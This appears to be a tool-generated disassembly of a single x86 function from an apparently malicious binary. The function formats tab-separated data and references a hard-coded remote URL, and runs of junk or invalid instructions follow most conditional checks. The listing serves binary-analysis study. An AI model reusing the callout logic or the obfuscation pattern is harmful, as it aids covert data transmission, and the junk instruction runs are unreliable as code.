Function at 0x414f10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a4bdc
mov eax, dword fs:[0]
push eax
mov eax, 0x1d18
call fcn.0043c7d0
mov eax, dword [0x630198]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d20], ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x114]
push ecx
push eax
call int.0042a855
add esp, 8
call fcn.00426614
test al, al
je 0x414f80
adc dh, byte [0xa13a9edb]
inc ecx
inc eax
dec eax
jl 0x414f9b
cmc
lodsd eax, dword [esi]
cmc
unpcklps xmm1, xmmword [esi]
or edx, dword [0x208e9fb5]
in al, 0x7d
or dword [ecx], esp
adc al, 0x68
add byte [eax], dl
add byte [eax], al
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00447ad0
add esp, 0xc
call fcn.00426545
add byte [eax + eax*8 + 0x3791274], al
test al, al
je 0x414fb1
jns 0x414fa4
pop ebx
jbe 0x414ffb
push esi
add al, 0xd7
sub eax, 0x3acced1c
jecxz 0x41502a
test al, 0x71
jge 0x414f9a
call fcn.00426209
test al, al
je 0x414fd5
push ebx
adc al, byte [ecx]
add byte [eax + eax*8 - 0x3a5fe48c], al
and dword [ebx], edx
push ecx
mov al, byte [0x511321c5]
mov dh, 0xf9
cmpsb byte [esi], byte es:[edi]
adc dword [edx], 0x33
test edx, 0xdca056e3
mov cs, word [0xdf7cc30d]
stc
mov ebp, 0x2fe82877
adc al, byte [ecx]
add byte [eax + eax*8 - 0x27e3e48c], al
call fcn.00426209
test al, al
je 0x414ff9
sbb al, 0xd8
fmul st(5)
xor esi, dword [ecx + 0x68]
int 0x33
jno 0x41504c
nop
pushfd
add esp, dword [esi + 1]
leave
and ecx, 0x3a2dd01d
adc dword [eax + 0x60d05c08], edi
sbb eax, 0x858b7054
mov eax, dword [ebp - 0x1d20]
cmp dword [eax + 0x54], 0x10
lea ecx, [eax + 0x40]
jb 0x41500a
loopne 0x414fdf
invalid
mov ecx, dword [ecx]
cmp dword [eax + 0x9c], 0x10
lea edx, [eax + 0x88]
jb 0x41501b
mov edx, dword [edx]
cmp dword [eax + 0x84], 0x10
lea esi, [eax + 0x70]
jb 0x415029
mov esi, dword [esi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x415034
shr byte [eax], 0x83
js 0x415043
adc byte [edx + 2], dh
mov eax, dword [eax]
lea edi, [ebp - 0x114]
push edi
push ecx
push edx
push esi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s
push eax
call fcn.00409e70
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00447ad0
add esp, 0x28
mov dword [ebp - 0x1d1c], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d24], 0xbb8
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
jne 0x4150a2
invalid
and byte [esi - 1], cl
jmp [eax - 0x48]
xor ecx, ecx
jmp 0x4150b9
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4150b0
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00401ef0
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1d24]
push ecx
lea ecx, [ebp - 0xccc]
mov dword [ebp - 4], 0
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00440ae0
add esp, 0x10
call fcn.0042613a
test al, al
je 0x41512d
sbb esi, dword [eax + esi + 0x4e]
add dword [esi - 0x49], esi
invalid
call fcn.004265cf
test al, al
je 0x415152
inc edi
mov eax, 0x8712bf8
mov dword [0x3850e906], eax
retf
mov ecx, dword [ebp - 0x1d20]
lea eax, [ebp - 0x1d1c]
push eax
lea eax, [ebp - 0xccc]
push eax
call fcn.004158f0
cmp byte [ebp - 0xccc], 0
jne 0x415178
xor ecx, ecx
jmp 0x41518a
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x415181
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00401ef0
push dword [ebp - 0x1d1c]
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00447ad0
cmp dword [ebp - 0x1cd0], 0x10
lea ecx, [ebp - 0x1d1c]
push ecx
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1cd4]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00440ae0
add esp, 0x1c
call fcn.0042624e
test al, al
je 0x4151fc
stc
invalid
call fcn.004261c4
test al, al
je 0x41521b
pop ebp
daa
lcall 0x6153, 0x1e387dcf
fiadd dword [edi - 0x1782d465]
sbb bh, byte [ecx - 0x1f]
clc
fucompi st(6)
in al, dx
lea ecx, [ebp - 0x1d15]
call fcn.0041d360
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x1d15]
call fcn.004412cf
call fcn.0042658a
test al, al
je 0x415255
js 0x4152b6
pop ds
and ebp, ebx
movsb byte es:[edi], byte [esi]
salc
stosd dword es:[edi], eax
xchg ebx, eax
enter 0xffffffffffffa945, 0x47
hlt
call fcn.004262d8
test al, al
je 0x415275
or esi, dword [edi - 0x3e]
les esi, [ebx - 0x3b]
xor dh, byte [edi - 0x3b5f0307]
mov ebp, 0x7ca03bc4
or eax, dword [esi + 0x29]
inc edi
out 0xe6, eax
call fcn.004261c4
test al, al
je 0x41529d
cwde
push edx
mov ebp, 0x15a0084
or eax, 0xf307952f
invalid
push 0x45
push str.https:__tjtv3.wn51.com__60755f9ade9c14f24f5ef5a97e12fa9681f4fb5ac5
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.00401ef0
cmp byte [ebp - 0xccc], 0
mov byte [ebp - 4], 2
jne 0x4152db
adc al, 0xe3
invalid
xor ecx, ecx
jmp 0x4152ed
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4152e4
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.00406e50
push 0
push 0x5a9530
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00401ef0
cmp dword [ebp - 0x1ce8], 0x10
lea eax, [ebp - 0x1cfc]
mov byte [ebp - 4], 3
cmovae eax, dword [ebp - 0x1cfc]
push eax
call fcn.0043fead
add esp, 4
call fcn.0042613a
test al, al
je 0x415370
sub dl, byte [0xca4f47b8]
xchg edi, eax
dec esp
adc eax, 0x1262a527
add byte [edi - 0x31], bl
sbb byte [eax + 0x2cdb08ac], dl
xchg ecx, ebx
dec edi
mov eax, dword [ebp - 0x1d00]
cmp eax, 0x10
jb 0x41538e
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00402210
mov eax, dword [ebp - 0x1ce8]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
cmp eax, 0x10
jb 0x4153c7
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00402210
lea ecx, [ebp - 0x1d15]
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
call fcn.00401610
mov eax, dword [ebp - 0x1cd0]
cmp eax, 0x10
jb 0x41540b
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00402210
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043c551
mov esp, ebp
pop ebp
ret 4